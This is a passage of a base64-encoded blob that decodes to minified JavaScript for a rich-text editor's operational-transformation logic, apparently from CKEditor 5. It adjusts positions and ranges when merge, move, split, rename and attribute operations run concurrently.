VydGlvblBvc2l0aW9uKX1lbHNlIGlmKHQubmV3UmFuZ2Uuc3RhcnQuaXNFcXVhbChlLnNwbGl0UG9zaXRpb24pJiYhbi5hYlJlbGF0aW9uLndhc0luTGVmdEVsZW1lbnQpe3QubmV3UmFuZ2Uuc3RhcnQ9SmguX2NyZWF0ZUF0KGUubW92ZVRhcmdldFBvc2l0aW9uKX1pZih0Lm5ld1JhbmdlLmVuZC5pc0VxdWFsKGUuc3BsaXRQb3NpdGlvbikmJm4uYWJSZWxhdGlvbi53YXNJblJpZ2h0RWxlbWVudCl7dC5uZXdSYW5nZS5lbmQ9SmguX2NyZWF0ZUF0KGUubW92ZVRhcmdldFBvc2l0aW9uKX1lbHNlIGlmKHQubmV3UmFuZ2UuZW5kLmlzRXF1YWwoZS5zcGxpdFBvc2l0aW9uKSYmbi5hYlJlbGF0aW9uLndhc0VuZEJlZm9yZU1lcmdlZEVsZW1lbnQpe3QubmV3UmFuZ2UuZW5kPUpoLl9jcmVhdGVBdChlLmluc2VydGlvblBvc2l0aW9uKX1lbHNle3QubmV3UmFuZ2UuZW5kPWkuZW5kfXJldHVyblt0XX10Lm5ld1JhbmdlPXQubmV3UmFuZ2UuX2dldFRyYW5zZm9ybWVkQnlTcGxpdE9wZXJhdGlvbihlKX1yZXR1cm5bdF19KSk7R0EoTWcseWcsKCh0LGUpPT57aWYodC5zb3VyY2VQb3NpdGlvbi5oYXNTYW1lUGFyZW50QXMoZS5wb3NpdGlvbikpe3QuaG93TWFueSs9ZS5ob3dNYW55fXQuc291cmNlUG9zaXRpb249dC5zb3VyY2VQb3NpdGlvbi5fZ2V0VHJhbnNmb3JtZWRCeUluc2VydE9wZXJhdGlvbihlKTt0LnRhcmdldFBvc2l0aW9uPXQudGFyZ2V0UG9zaXRpb24uX2dldFRyYW5zZm9ybWVkQnlJbnNlcnRPcGVyYXRpb24oZSk7cmV0dXJuW3RdfSkpO0dBKE1nLE1nLCgodCxlLG4pPT57aWYodC5zb3VyY2VQb3NpdGlvbi5pc0VxdWFsKGUuc291cmNlUG9zaXRpb24pJiZ0LnRhcmdldFBvc2l0aW9uLmlzRXF1YWwoZS50YXJnZXRQb3NpdGlvbikpe2lmKCFuLmJXYXNVbmRvbmUpe3JldHVybltuZXcgWmcoMCldfWVsc2V7Y29uc3Qgbj1lLmdyYXZleWFyZFBvc2l0aW9uLnBhdGguc2xpY2UoKTtuLnB1c2goMCk7dC5zb3VyY2VQb3NpdGlvbj1uZXcgSmgoZS5ncmF2ZXlhcmRQb3NpdGlvbi5yb290LG4pO3QuaG93TWFueT0wO3JldHVyblt0XX19aWYodC5zb3VyY2VQb3NpdGlvbi5pc0VxdWFsKGUuc291cmNlUG9zaXRpb24pJiYhdC50YXJnZXRQb3NpdGlvbi5pc0VxdWFsKGUudGFyZ2V0UG9zaXRpb24pJiYhbi5iV2FzVW5kb25lJiZuLmFiUmVsYXRpb24hPSJzcGxpdEF0U291cmNlIil7Y29uc3QgaT10LnRhcmdldFBvc2l0aW9uLnJvb3Qucm9vdE5hbWU9PSIkZ3JhdmV5YXJkIjtjb25zdCBvPWUudGFyZ2V0UG9zaXRpb24ucm9vdC5yb290TmFtZT09IiRncmF2ZXlhcmQiO2NvbnN0IHI9aSYmIW87Y29uc3Qgcz1vJiYhaTtjb25zdCBhPXN8fCFyJiZuLmFJc1N0cm9uZztpZihhKXtjb25zdCBuPWUudGFyZ2V0UG9zaXRpb24uX2dldFRyYW5zZm9ybWVkQnlNZXJnZU9wZXJhdGlvbihlKTtjb25zdCBpPXQudGFyZ2V0UG9zaXRpb24uX2dldFRyYW5zZm9ybWVkQnlNZXJnZU9wZXJhdGlvbihlKTtyZXR1cm5bbmV3IHZnKG4sdC5ob3dNYW55LGksMCldfWVsc2V7cmV0dXJuW25ldyBaZygwKV19fWlmKHQuc291cmNlUG9zaXRpb24uaGFzU2FtZVBhcmVudEFzKGUudGFyZ2V0UG9zaXRpb24pKXt0Lmhvd01hbnkrPWUuaG93TWFueX10LnNvdXJjZVBvc2l0aW9uPXQuc291cmNlUG9zaXRpb24uX2dldFRyYW5zZm9ybWVkQnlNZXJnZU9wZXJhdGlvbihlKTt0LnRhcmdldFBvc2l0aW9uPXQudGFyZ2V0UG9zaXRpb24uX2dldFRyYW5zZm9ybWVkQnlNZXJnZU9wZXJhdGlvbihlKTtpZighdC5ncmF2ZXlhcmRQb3NpdGlvbi5pc0VxdWFsKGUuZ3JhdmV5YXJkUG9zaXRpb24pfHwhbi5hSXNTdHJvbmcpe3QuZ3JhdmV5YXJkUG9zaXRpb249dC5ncmF2ZXlhcmRQb3NpdGlvbi5fZ2V0VHJhbnNmb3JtZWRCeU1lcmdlT3BlcmF0aW9uKGUpfXJldHVyblt0XX0pKTtHQShNZyx2ZywoKHQsZSxuKT0+e2NvbnN0IGk9ZWYuX2NyZWF0ZUZyb21Qb3NpdGlvbkFuZFNoaWZ0KGUuc291cmNlUG9zaXRpb24sZS5ob3dNYW55KTtpZihlLnR5cGU9PSJyZW1vdmUiJiYhbi5iV2FzVW5kb25lJiYhbi5mb3JjZVdlYWtSZW1vdmUpe2lmKHQuZGVsZXRpb25Qb3NpdGlvbi5oYXNTYW1lUGFyZW50QXMoZS5zb3VyY2VQb3NpdGlvbikmJmkuY29udGFpbnNQb3NpdGlvbih0LnNvdXJjZVBvc2l0aW9uKSl7cmV0dXJuW25ldyBaZygwKV19fWlmKHQuc291cmNlUG9zaXRpb24uaGFzU2FtZVBhcmVudEFzKGUudGFyZ2V0UG9zaXRpb24pKXt0Lmhvd01hbnkrPWUuaG93TWFueX1pZih0LnNvdXJjZVBvc2l0aW9uLmhhc1NhbWVQYXJlbnRBcyhlLnNvdXJjZVBvc2l0aW9uKSl7dC5ob3dNYW55LT1lLmhvd01hbnl9dC5zb3VyY2VQb3NpdGlvbj10LnNvdXJjZVBvc2l0aW9uLl9nZXRUcmFuc2Zvcm1lZEJ5TW92ZU9wZXJhdGlvbihlKTt0LnRhcmdldFBvc2l0aW9uPXQudGFyZ2V0UG9zaXRpb24uX2dldFRyYW5zZm9ybWVkQnlNb3ZlT3BlcmF0aW9uKGUpO2lmKCF0LmdyYXZleWFyZFBvc2l0aW9uLmlzRXF1YWwoZS50YXJnZXRQb3NpdGlvbikpe3QuZ3JhdmV5YXJkUG9zaXRpb249dC5ncmF2ZXlhcmRQb3NpdGlvbi5fZ2V0VHJhbnNmb3JtZWRCeU1vdmVPcGVyYXRpb24oZSl9cmV0dXJuW3RdfSkpO0dBKE1nLFNnLCgodCxlLG4pPT57aWYoZS5ncmF2ZXlhcmRQb3NpdGlvbil7dC5ncmF2ZXlhcmRQb3NpdGlvbj10LmdyYXZleWFyZFBvc2l0aW9uLl9nZXRUcmFuc2Zvcm1lZEJ5RGVsZXRpb24oZS5ncmF2ZXlhcmRQb3NpdGlvbiwxKTtpZih0LmRlbGV0aW9uUG9zaXRpb24uaXNFcXVhbChlLmdyYXZleWFyZFBvc2l0aW9uKSl7dC5ob3dNYW55PWUuaG93TWFueX19aWYodC50YXJnZXRQb3NpdGlvbi5pc0VxdWFsKGUuc3BsaXRQb3NpdGlvbikpe2NvbnN0IGk9ZS5ob3dNYW55IT0wO2NvbnN0IG89ZS5ncmF2ZXlhcmRQb3NpdGlvbiYmdC5kZWxldGlvblBvc2l0aW9uLmlzRXF1YWwoZS5ncmF2ZXlhcmRQb3NpdGlvbik7aWYoaXx8b3x8bi5hYlJlbGF0aW9uPT0ibWVyZ2VUYXJnZXROb3RNb3ZlZCIpe3Quc291cmNlUG9zaXRpb249dC5zb3VyY2VQb3NpdGlvbi5fZ2V0VHJhbnNmb3JtZWRCeVNwbGl0T3BlcmF0aW9uKGUpO3JldHVyblt0XX19aWYodC5zb3VyY2VQb3NpdGlvbi5pc0VxdWFsKGUuc3BsaXRQb3NpdGlvbikpe2lmKG4uYWJSZWxhdGlvbj09Im1lcmdlU291cmNlTm90TW92ZWQiKXt0Lmhvd01hbnk9MDt0LnRhcmdldFBvc2l0aW9uPXQudGFyZ2V0UG9zaXRpb24uX2dldFRyYW5zZm9ybWVkQnlTcGxpdE9wZXJhdGlvbihlKTtyZXR1cm5bdF19aWYobi5hYlJlbGF0aW9uPT0ibWVyZ2VTYW1lRWxlbWVudCJ8fHQuc291cmNlUG9zaXRpb24ub2Zmc2V0PjApe3Quc291cmNlUG9zaXRpb249ZS5tb3ZlVGFyZ2V0UG9zaXRpb24uY2xvbmUoKTt0LnRhcmdldFBvc2l0aW9uPXQudGFyZ2V0UG9zaXRpb24uX2dldFRyYW5zZm9ybWVkQnlTcGxpdE9wZXJhdGlvbihlKTtyZXR1cm5bdF19fWlmKHQuc291cmNlUG9zaXRpb24uaGFzU2FtZVBhcmVudEFzKGUuc3BsaXRQb3NpdGlvbikpe3QuaG93TWFueT1lLnNwbGl0UG9zaXRpb24ub2Zmc2V0fXQuc291cmNlUG9zaXRpb249dC5zb3VyY2VQb3NpdGlvbi5fZ2V0VHJhbnNmb3JtZWRCeVNwbGl0T3BlcmF0aW9uKGUpO3QudGFyZ2V0UG9zaXRpb249dC50YXJnZXRQb3NpdGlvbi5fZ2V0VHJhbnNmb3JtZWRCeVNwbGl0T3BlcmF0aW9uKGUpO3JldHVyblt0XX0pKTtHQSh2Zyx5ZywoKHQsZSk9Pntjb25zdCBuPWVmLl9jcmVhdGVGcm9tUG9zaXRpb25BbmRTaGlmdCh0LnNvdXJjZVBvc2l0aW9uLHQuaG93TWFueSk7Y29uc3QgaT1uLl9nZXRUcmFuc2Zvcm1lZEJ5SW5zZXJ0T3BlcmF0aW9uKGUsZmFsc2UpWzBdO3Quc291cmNlUG9zaXRpb249aS5zdGFydDt0Lmhvd01hbnk9aS5lbmQub2Zmc2V0LWkuc3RhcnQub2Zmc2V0O2lmKCF0LnRhcmdldFBvc2l0aW9uLmlzRXF1YWwoZS5wb3NpdGlvbikpe3QudGFyZ2V0UG9zaXRpb249dC50YXJnZXRQb3NpdGlvbi5fZ2V0VHJhbnNmb3JtZWRCeUluc2VydE9wZXJhdGlvbihlKX1yZXR1cm5bdF19KSk7R0EodmcsdmcsKCh0LGUsbik9Pntjb25zdCBpPWVmLl9jcmVhdGVGcm9tUG9zaXRpb25BbmRTaGlmdCh0LnNvdXJjZVBvc2l0aW9uLHQuaG93TWFueSk7Y29uc3Qgbz1lZi5fY3JlYXRlRnJvbVBvc2l0aW9uQW5kU2hpZnQoZS5zb3VyY2VQb3NpdGlvbixlLmhvd01hbnkpO2xldCByPW4uYUlzU3Ryb25nO2xldCBzPSFuLmFJc1N0cm9uZztpZihuLmFiUmVsYXRpb249PSJpbnNlcnRCZWZvcmUifHxuLmJhUmVsYXRpb249PSJpbnNlcnRBZnRlciIpe3M9dHJ1ZX1lbHNlIGlmKG4uYWJSZWxhdGlvbj09Imluc2VydEFmdGVyInx8bi5iYVJlbGF0aW9uPT0iaW5zZXJ0QmVmb3JlIil7cz1mYWxzZX1sZXQgYTtpZih0LnRhcmdldFBvc2l0aW9uLmlzRXF1YWwoZS50YXJnZXRQb3NpdGlvbikmJnMpe2E9dC50YXJnZXRQb3NpdGlvbi5fZ2V0VHJhbnNmb3JtZWRCeURlbGV0aW9uKGUuc291cmNlUG9zaXRpb24sZS5ob3dNYW55KX1lbHNle2E9dC50YXJnZXRQb3NpdGlvbi5fZ2V0VHJhbnNmb3JtZWRCeU1vdmUoZS5zb3VyY2VQb3NpdGlvbixlLnRhcmdldFBvc2l0aW9uLGUuaG93TWFueSl9aWYodF8odCxlKSYmdF8oZSx0KSl7cmV0dXJuW2UuZ2V0UmV2ZXJzZWQoKV19Y29uc3QgYz1pLmNvbnRhaW5zUG9zaXRpb24oZS50YXJnZXRQb3NpdGlvbik7aWYoYyYmaS5jb250YWluc1JhbmdlKG8sdHJ1ZSkpe2kuc3RhcnQ9aS5zdGFydC5fZ2V0VHJhbnNmb3JtZWRCeU1vdmUoZS5zb3VyY2VQb3NpdGlvbixlLnRhcmdldFBvc2l0aW9uLGUuaG93TWFueSk7aS5lbmQ9aS5lbmQuX2dldFRyYW5zZm9ybWVkQnlNb3ZlKGUuc291cmNlUG9zaXRpb24sZS50YXJnZXRQb3NpdGlvbixlLmhvd01hbnkpO3JldHVybiBlXyhbaV0sYSl9Y29uc3QgbD1vLmNvbnRhaW5zUG9zaXRpb24odC50YXJnZXRQb3NpdGlvbik7aWYobCYmby5jb250YWluc1JhbmdlKGksdHJ1ZSkpe2kuc3RhcnQ9aS5zdGFydC5fZ2V0Q29tYmluZWQoZS5zb3VyY2VQb3NpdGlvbixlLmdldE1vdmVkUmFuZ2VTdGFydCgpKTtpLmVuZD1pLmVuZC5fZ2V0Q29tYmluZWQoZS5zb3VyY2VQb3NpdGlvbixlLmdldE1vdmVkUmFuZ2VTdGFydCgpKTtyZXR1cm4gZV8oW2ldLGEpfWNvbnN0IGQ9THModC5zb3VyY2VQb3NpdGlvbi5nZXRQYXJlbnRQYXRoKCksZS5zb3VyY2VQb3NpdGlvbi5nZXRQYXJlbnRQYXRoKCkpO2lmKGQ9PSJwcmVmaXgifHxkPT0iZXh0ZW5zaW9uIil7aS5zdGFydD1pLnN0YXJ0Ll9nZXRUcmFuc2Zvcm1lZEJ5TW92ZShlLnNvdXJjZVBvc2l0aW9uLGUudGFyZ2V0UG9zaXRpb24sZS5ob3dNYW55KTtpLmVuZD1pLmVuZC5fZ2V0VHJhbnNmb3JtZWRCeU1vdmUoZS5zb3VyY2VQb3NpdGlvbixlLnRhcmdldFBvc2l0aW9uLGUuaG93TWFueSk7cmV0dXJuIGVfKFtpXSxhKX1pZih0LnR5cGU9PSJyZW1vdmUiJiZlLnR5cGUhPSJyZW1vdmUiJiYhbi5hV2FzVW5kb25lJiYhbi5mb3JjZVdlYWtSZW1vdmUpe3I9dHJ1ZX1lbHNlIGlmKHQudHlwZSE9InJlbW92ZSImJmUudHlwZT09InJlbW92ZSImJiFuLmJXYXNVbmRvbmUmJiFuLmZvcmNlV2Vha1JlbW92ZSl7cj1mYWxzZX1jb25zdCB1PVtdO2NvbnN0IGg9aS5nZXREaWZmZXJlbmNlKG8pO2Zvcihjb25zdCB0IG9mIGgpe3Quc3RhcnQ9dC5zdGFydC5fZ2V0VHJhbnNmb3JtZWRCeURlbGV0aW9uKGUuc291cmNlUG9zaXRpb24sZS5ob3dNYW55KTt0LmVuZD10LmVuZC5fZ2V0VHJhbnNmb3JtZWRCeURlbGV0aW9uKGUuc291cmNlUG9zaXRpb24sZS5ob3dNYW55KTtjb25zdCBuPUxzKHQuc3RhcnQuZ2V0UGFyZW50UGF0aCgpLGUuZ2V0TW92ZWRSYW5nZVN0YXJ0KCkuZ2V0UGFyZW50UGF0aCgpKT09InNhbWUiO2NvbnN0IGk9dC5fZ2V0VHJhbnNmb3JtZWRCeUluc2VydGlvbihlLmdldE1vdmVkUmFuZ2VTdGFydCgpLGUuaG93TWFueSxuKTt1LnB1c2goLi4uaSl9Y29uc3QgZj1pLmdldEludGVyc2VjdGlvbihvKTtpZihmIT09bnVsbCYmcil7Zi5zdGFydD1mLnN0YXJ0Ll9nZXRDb21iaW5lZChlLnNvdXJjZVBvc2l0aW9uLGUuZ2V0TW92ZWRSYW5nZVN0YXJ0KCkpO2YuZW5kPWYuZW5kLl9nZXRDb21iaW5lZChlLnNvdXJjZVBvc2l0aW9uLGUuZ2V0TW92ZWRSYW5nZVN0YXJ0KCkpO2lmKHUubGVuZ3RoPT09MCl7dS5wdXNoKGYpfWVsc2UgaWYodS5sZW5ndGg9PTEpe2lmKG8uc3RhcnQuaXNCZWZvcmUoaS5zdGFydCl8fG8uc3RhcnQuaXNFcXVhbChpLnN0YXJ0KSl7dS51bnNoaWZ0KGYpfWVsc2V7dS5wdXNoKGYpfX1lbHNle3Uuc3BsaWNlKDEsMCxmKX19aWYodS5sZW5ndGg9PT0wKXtyZXR1cm5bbmV3IFpnKHQuYmFzZVZlcnNpb24pXX1yZXR1cm4gZV8odSxhKX0pKTtHQSh2ZyxTZywoKHQsZSxuKT0+e2xldCBpPXQudGFyZ2V0UG9zaXRpb24uY2xvbmUoKTtpZighdC50YXJnZXRQb3NpdGlvbi5pc0VxdWFsKGUuaW5zZXJ0aW9uUG9zaXRpb24pfHwhZS5ncmF2ZXlhcmRQb3NpdGlvbnx8bi5hYlJlbGF0aW9uPT0ibW92ZVRhcmdldEFmdGVyIil7aT10LnRhcmdldFBvc2l0aW9uLl9nZXRUcmFuc2Zvcm1lZEJ5U3BsaXRPcGVyYXRpb24oZSl9Y29uc3Qgbz1lZi5fY3JlYXRlRnJvbVBvc2l0aW9uQW5kU2hpZnQodC5zb3VyY2VQb3NpdGlvbix0Lmhvd01hbnkpO2lmKG8uZW5kLmlzRXF1YWwoZS5pbnNlcnRpb25Qb3NpdGlvbikpe2lmKCFlLmdyYXZleWFyZFBvc2l0aW9uKXt0Lmhvd01hbnkrK310LnRhcmdldFBvc2l0aW9uPWk7cmV0dXJuW3RdfWlmKG8uc3RhcnQuaGFzU2FtZVBhcmVudEFzKGUuc3BsaXRQb3NpdGlvbikmJm8uY29udGFpbnNQb3NpdGlvbihlLnNwbGl0UG9zaXRpb24pKXtsZXQgdD1uZXcgZWYoZS5zcGxpdFBvc2l0aW9uLG8uZW5kKTt0PXQuX2dldFRyYW5zZm9ybWVkQnlTcGxpdE9wZXJhdGlvbihlKTtjb25zdCBuPVtuZXcgZWYoby5zdGFydCxlLnNwbGl0UG9zaXRpb24pLHRdO3JldHVybiBlXyhuLGkpfWlmKHQudGFyZ2V0UG9zaXRpb24uaXNFcXVhbChlLnNwbGl0UG9zaXRpb24pJiZuLmFiUmVsYXRpb249PSJpbnNlcnRBdFNvdXJjZSIpe2k9ZS5tb3ZlVGFyZ2V0UG9zaXRpb259aWYodC50YXJnZXRQb3NpdGlvbi5pc0VxdWFsKGUuaW5zZXJ0aW9uUG9zaXRpb24pJiZuLmFiUmVsYXRpb249PSJpbnNlcnRCZXR3ZWVuIil7aT10LnRhcmdldFBvc2l0aW9ufWNvbnN0IHI9by5fZ2V0VHJhbnNmb3JtZWRCeVNwbGl0T3BlcmF0aW9uKGUpO2NvbnN0IHM9W3JdO2lmKGUuZ3JhdmV5YXJkUG9zaXRpb24pe2NvbnN0IGk9by5zdGFydC5pc0VxdWFsKGUuZ3JhdmV5YXJkUG9zaXRpb24pfHxvLmNvbnRhaW5zUG9zaXRpb24oZS5ncmF2ZXlhcmRQb3NpdGlvbik7aWYodC5ob3dNYW55PjEmJmkmJiFuLmFXYXNVbmRvbmUpe3MucHVzaChlZi5fY3JlYXRlRnJvbVBvc2l0aW9uQW5kU2hpZnQoZS5pbnNlcnRpb25Qb3NpdGlvbiwxKSl9fXJldHVybiBlXyhzLGkpfSkpO0dBKHZnLE1nLCgodCxlLG4pPT57Y29uc3QgaT1lZi5fY3JlYXRlRnJvbVBvc2l0aW9uQW5kU2hpZnQodC5zb3VyY2VQb3NpdGlvbix0Lmhvd01hbnkpO2lmKGUuZGVsZXRpb25Qb3NpdGlvbi5oYXNTYW1lUGFyZW50QXModC5zb3VyY2VQb3NpdGlvbikmJmkuY29udGFpbnNQb3NpdGlvbihlLnNvdXJjZVBvc2l0aW9uKSl7aWYodC50eXBlPT0icmVtb3ZlIiYmIW4uZm9yY2VXZWFrUmVtb3ZlKXtpZighbi5hV2FzVW5kb25lKXtjb25zdCBuPVtdO2xldCBpPWUuZ3JhdmV5YXJkUG9zaXRpb24uY2xvbmUoKTtsZXQgbz1lLnRhcmdldFBvc2l0aW9uLl9nZXRUcmFuc2Zvcm1lZEJ5TWVyZ2VPcGVyYXRpb24oZSk7aWYodC5ob3dNYW55PjEpe24ucHVzaChuZXcgdmcodC5zb3VyY2VQb3NpdGlvbix0Lmhvd01hbnktMSx0LnRhcmdldFBvc2l0aW9uLDApKTtpPWkuX2dldFRyYW5zZm9ybWVkQnlNb3ZlKHQuc291cmNlUG9zaXRpb24sdC50YXJnZXRQb3NpdGlvbix0Lmhvd01hbnktMSk7bz1vLl9nZXRUcmFuc2Zvcm1lZEJ5TW92ZSh0LnNvdXJjZVBvc2l0aW9uLHQudGFyZ2V0UG9zaXRpb24sdC5ob3dNYW55LTEpfWNvbnN0IHI9ZS5kZWxldGlvblBvc2l0aW9uLl9nZXRDb21iaW5lZCh0LnNvdXJjZVBvc2l0aW9uLHQudGFyZ2V0UG9zaXRpb24pO2NvbnN0IHM9bmV3IHZnKGksMSxyLDApO2NvbnN0IGE9cy5nZXRNb3ZlZFJhbmdlU3RhcnQoKS5wYXRoLnNsaWNlKCk7YS5wdXNoKDApO2NvbnN0IGM9bmV3IEpoKHMudGFyZ2V0UG9zaXRpb24ucm9vdCxhKTtvPW8uX2dldFRyYW5zZm9ybWVkQnlNb3ZlKGksciwxKTtjb25zdCBsPW5ldyB2ZyhvLGUuaG93TWFueSxjLDApO24ucHVzaChzKTtuLnB1c2gobCk7cmV0dXJuIG59fWVsc2V7aWYodC5ob3dNYW55PT0xKXtpZighbi5iV2FzVW5kb25lKXtyZXR1cm5bbmV3IFpnKDApXX1lbHNle3Quc291cmNlUG9zaXRpb249ZS5ncmF2ZXlhcmRQb3NpdGlvbi5jbG9uZSgpO3QudGFyZ2V0UG9zaXRpb249dC50YXJnZXRQb3NpdGlvbi5fZ2V0VHJhbnNmb3JtZWRCeU1lcmdlT3BlcmF0aW9uKGUpO3JldHVyblt0XX19fX1jb25zdCBvPWVmLl9jcmVhdGVGcm9tUG9zaXRpb25BbmRTaGlmdCh0LnNvdXJjZVBvc2l0aW9uLHQuaG93TWFueSk7Y29uc3Qgcj1vLl9nZXRUcmFuc2Zvcm1lZEJ5TWVyZ2VPcGVyYXRpb24oZSk7dC5zb3VyY2VQb3NpdGlvbj1yLnN0YXJ0O3QuaG93TWFueT1yLmVuZC5vZmZzZXQtci5zdGFydC5vZmZzZXQ7dC50YXJnZXRQb3NpdGlvbj10LnRhcmdldFBvc2l0aW9uLl9nZXRUcmFuc2Zvcm1lZEJ5TWVyZ2VPcGVyYXRpb24oZSk7cmV0dXJuW3RdfSkpO0dBKERnLHlnLCgodCxlKT0+e3QucG9zaXRpb249dC5wb3NpdGlvbi5fZ2V0VHJhbnNmb3JtZWRCeUluc2VydE9wZXJhdGlvbihlKTtyZXR1cm5bdF19KSk7R0EoRGcsTWcsKCh0LGUpPT57aWYodC5wb3NpdGlvbi5pc0VxdWFsKGUuZGVsZXRpb25Qb3NpdGlvbikpe3QucG9zaXRpb249ZS5ncmF2ZXlhcmRQb3NpdGlvbi5jbG9uZSgpO3QucG9zaXRpb24uc3RpY2tpbmVzcz0idG9OZXh0IjtyZXR1cm5bdF19dC5wb3NpdGlvbj10LnBvc2l0aW9uLl9nZXRUcmFuc2Zvcm1lZEJ5TWVyZ2VPcGVyYXRpb24oZSk7cmV0dXJuW3RdfSkpO0dBKERnLHZnLCgodCxlKT0+e3QucG9zaXRpb249dC5wb3NpdGlvbi5fZ2V0VHJhbnNmb3JtZWRCeU1vdmVPcGVyYXRpb24oZSk7cmV0dXJuW3RdfSkpO0dBKERnLERnLCgodCxlLG4pPT57aWYodC5wb3NpdGlvbi5pc0VxdWFsKGUucG9zaXRpb24pKXtpZihuLmFJc1N0cm9uZyl7dC5vbGROYW1lPWUubmV3TmFtZX1lbHNle3JldHVybltuZXcgWmcoMCldfX1yZXR1cm5bdF19KSk7R0EoRGcsU2csKCh0LGUpPT57Y29uc3Qgbj10LnBvc2l0aW9uLnBhdGg7Y29uc3QgaT1lLnNwbGl0UG9zaXRpb24uZ2V0UGFyZW50UGF0aCgpO2lmKExzKG4saSk9PSJzYW1lIiYmIWUuZ3JhdmV5YXJkUG9zaXRpb24pe2NvbnN0IGU9bmV3IERnKHQucG9zaXRpb24uZ2V0U2hpZnRlZEJ5KDEpLHQub2xkTmFtZSx0Lm5ld05hbWUsMCk7cmV0dXJuW3QsZV19dC5wb3NpdGlvbj10LnBvc2l0aW9uLl9nZXRUcmFuc2Zvcm1lZEJ5U3BsaXRPcGVyYXRpb24oZSk7cmV0dXJuW3RdfSkpO0dBKEVnLEVnLCgodCxlLG4pPT57aWYodC5yb290PT09ZS5yb290JiZ0LmtleT09PWUua2V5KXtpZighbi5hSXNTdHJvbmd8fHQubmV3VmFsdWU9PT1lLm5ld1ZhbHVlKXtyZXR1cm5bbmV3IFpnKDApXX1lbHNle3Qub2xkVmFsdWU9ZS5uZXdWYWx1ZX19cmV0dXJuW3RdfSkpO0dBKFNnLHlnLCgodCxlKT0+e2lmKHQuc3BsaXRQb3NpdGlvbi5oYXNTYW1lUGFyZW50QXMoZS5wb3NpdGlvbikmJnQuc3BsaXRQb3NpdGlvbi5vZmZzZXQ8ZS5wb3NpdGlvbi5vZmZzZXQpe3QuaG93TWFueSs9ZS5ob3dNYW55fXQuc3BsaXRQb3NpdGlvbj10LnNwbGl0UG9zaXRpb24uX2dldFRyYW5zZm9ybWVkQnlJbnNlcnRPcGVyYXRpb24oZSk7dC5pbnNlcnRpb25Qb3NpdGlvbj1TZy5nZXRJbnNlcnRpb25Qb3NpdGlvbih0LnNwbGl0UG9zaXRpb24pO3JldHVyblt0XX0pKTtHQShTZyxNZywoKHQsZSxuKT0+e2lmKCF0LmdyYXZleWFyZFBvc2l0aW9uJiYhbi5iV2FzVW5kb25lJiZ0LnNwbGl0UG9zaXRpb24uaGFzU2FtZVBhcmVudEFzKGUuc291cmNlUG9zaXRpb24pKXtjb25zdCBuPWUuZ3JhdmV5YXJkUG9zaXRpb24ucGF0aC5zbGljZSgpO24ucHVzaCgwKTtjb25zdCBpPW5ldyBKaChlLmdyYXZleWFyZFBvc2l0aW9uLnJvb3Qsbik7Y29uc3Qgbz1TZy5nZXRJbnNlcnRpb25Qb3NpdGlvbihuZXcgSmgoZS5ncmF2ZXlhcmRQb3NpdGlvbi5yb290LG4pKTtjb25zdCByPW5ldyBTZyhpLDAsbnVsbCwwKTtyLmluc2VydGlvblBvc2l0aW9uPW87dC5zcGxpdFBvc2l0aW9uPXQuc3BsaXRQb3NpdGlvbi5fZ2V0VHJhbnNmb3JtZWRCeU1lcmdlT3BlcmF0aW9uKGUpO3QuaW5zZXJ0aW9uUG9zaXRpb249U2cuZ2V0SW5zZXJ0aW9uUG9zaXRpb24odC5zcGxpdFBvc2l0aW9uKTt0LmdyYXZleWFyZFBvc2l0aW9uPXIuaW5zZXJ0aW9uUG9zaXRpb24uY2xvbmUoKTt0LmdyYXZleWFyZFBvc2l0aW9uLnN0aWNraW5lc3M9InRvTmV4dCI7cmV0dXJuW3IsdF19aWYodC5zcGxpdFBvc2l0aW9uLmhhc1NhbWVQYXJlbnRBcyhlLmRlbGV0aW9uUG9zaXRpb24pJiYhdC5zcGxpdFBvc2l0aW9uLmlzQWZ0ZXIoZS5kZWxldGlvblBvc2l0aW9uKSl7dC5ob3dNYW55LS19aWYodC5zcGxpdFBvc2l0aW9uLmhhc1NhbWVQYXJlbnRBcyhlLnRhcmdldFBvc2l0aW9uKSl7dC5ob3dNYW55Kz1lLmhvd01hbnl9dC5zcGxpdFBvc2l0aW9uPXQuc3BsaXRQb3NpdGlvbi5fZ2V0VHJhbnNmb3JtZWRCeU1lcmdlT3BlcmF0aW9uKGUpO3QuaW5zZXJ0aW9uUG9zaXRpb249U2cuZ2V0SW5zZXJ0aW9uUG9zaXRpb24odC5zcGxpdFBvc2l0aW9uKTtpZih0LmdyYXZleWFyZFBvc2l0aW9uKXt0LmdyYXZleWFyZFBvc2l0aW9uPXQuZ3JhdmV5YXJkUG9zaXRpb24uX2dldFRyYW5zZm9ybWVkQnlNZXJnZU9wZXJhdGlvbihlKX1yZXR1cm5bdF19KSk7R0EoU2csdmcsKCh0LGUsbik9Pntjb25zdCBpPWVmLl9jcmVhdGVGcm9tUG9zaXRpb25BbmRTaGlmdChlLnNvdXJjZVBvc2l0aW9uLGUuaG93TWFueSk7aWYodC5ncmF2ZXlhcmRQb3NpdGlvbil7Y29uc3Qgbz1pLnN0YXJ0LmlzRXF1YWwodC5ncmF2ZXlhcmRQb3NpdGlvbil8fGkuY29udGFpbnNQb3NpdGlvbih0LmdyYXZleWFyZFBvc2l0aW9uKTtpZighbi5iV2FzVW5kb25lJiZvKXtjb25zdCBuPXQuc3BsaXRQb3NpdGlvbi5fZ2V0VHJhbnNmb3JtZWRCeU1vdmVPcGVyYXRpb24oZSk7Y29uc3QgaT10LmdyYXZleWFyZFBvc2l0aW9uLl9nZXRUcmFuc2Zvcm1lZEJ5TW92ZU9wZXJhdGlvbihlKTtjb25zdCBvPWkucGF0aC5zbGljZSgpO28ucHVzaCgwKTtjb25zdCByPW5ldyBKaChpLnJvb3Qsbyk7Y29uc3Qgcz1uZXcgdmcobix0Lmhvd01hbnksciwwKTtyZXR1cm5bc119dC5ncmF2ZXlhcmRQb3NpdGlvbj10LmdyYXZleWFyZFBvc2l0aW9uLl9nZXRUcmFuc2Zvcm1lZEJ5TW92ZU9wZXJhdGlvbihlKX1pZih0LnNwbGl0UG9zaXRpb24uaGFzU2FtZVBhcmVudEFzKGUuc291cmNlUG9zaXRpb24pJiZpLmNvbnRhaW5zUG9zaXRpb24odC5zcGxpdFBvc2l0aW9uKSl7Y29uc3Qgbj1lLmhvd01hbnktKHQuc3BsaXRQb3NpdGlvbi5vZmZzZXQtZS5zb3VyY2VQb3NpdGlvbi5vZmZzZXQpO3QuaG93TWFueS09bjtpZih0LnNwbGl0UG9zaXRpb24uaGFzU2FtZVBhcmVudEFzKGUudGFyZ2V0UG9zaXRpb24pJiZ0LnNwbGl0UG9zaXRpb24ub2Zmc2V0PGUudGFyZ2V0UG9zaXRpb24ub2Zmc2V0KXt0Lmhvd01hbnkrPWUuaG93TWFueX10LnNwbGl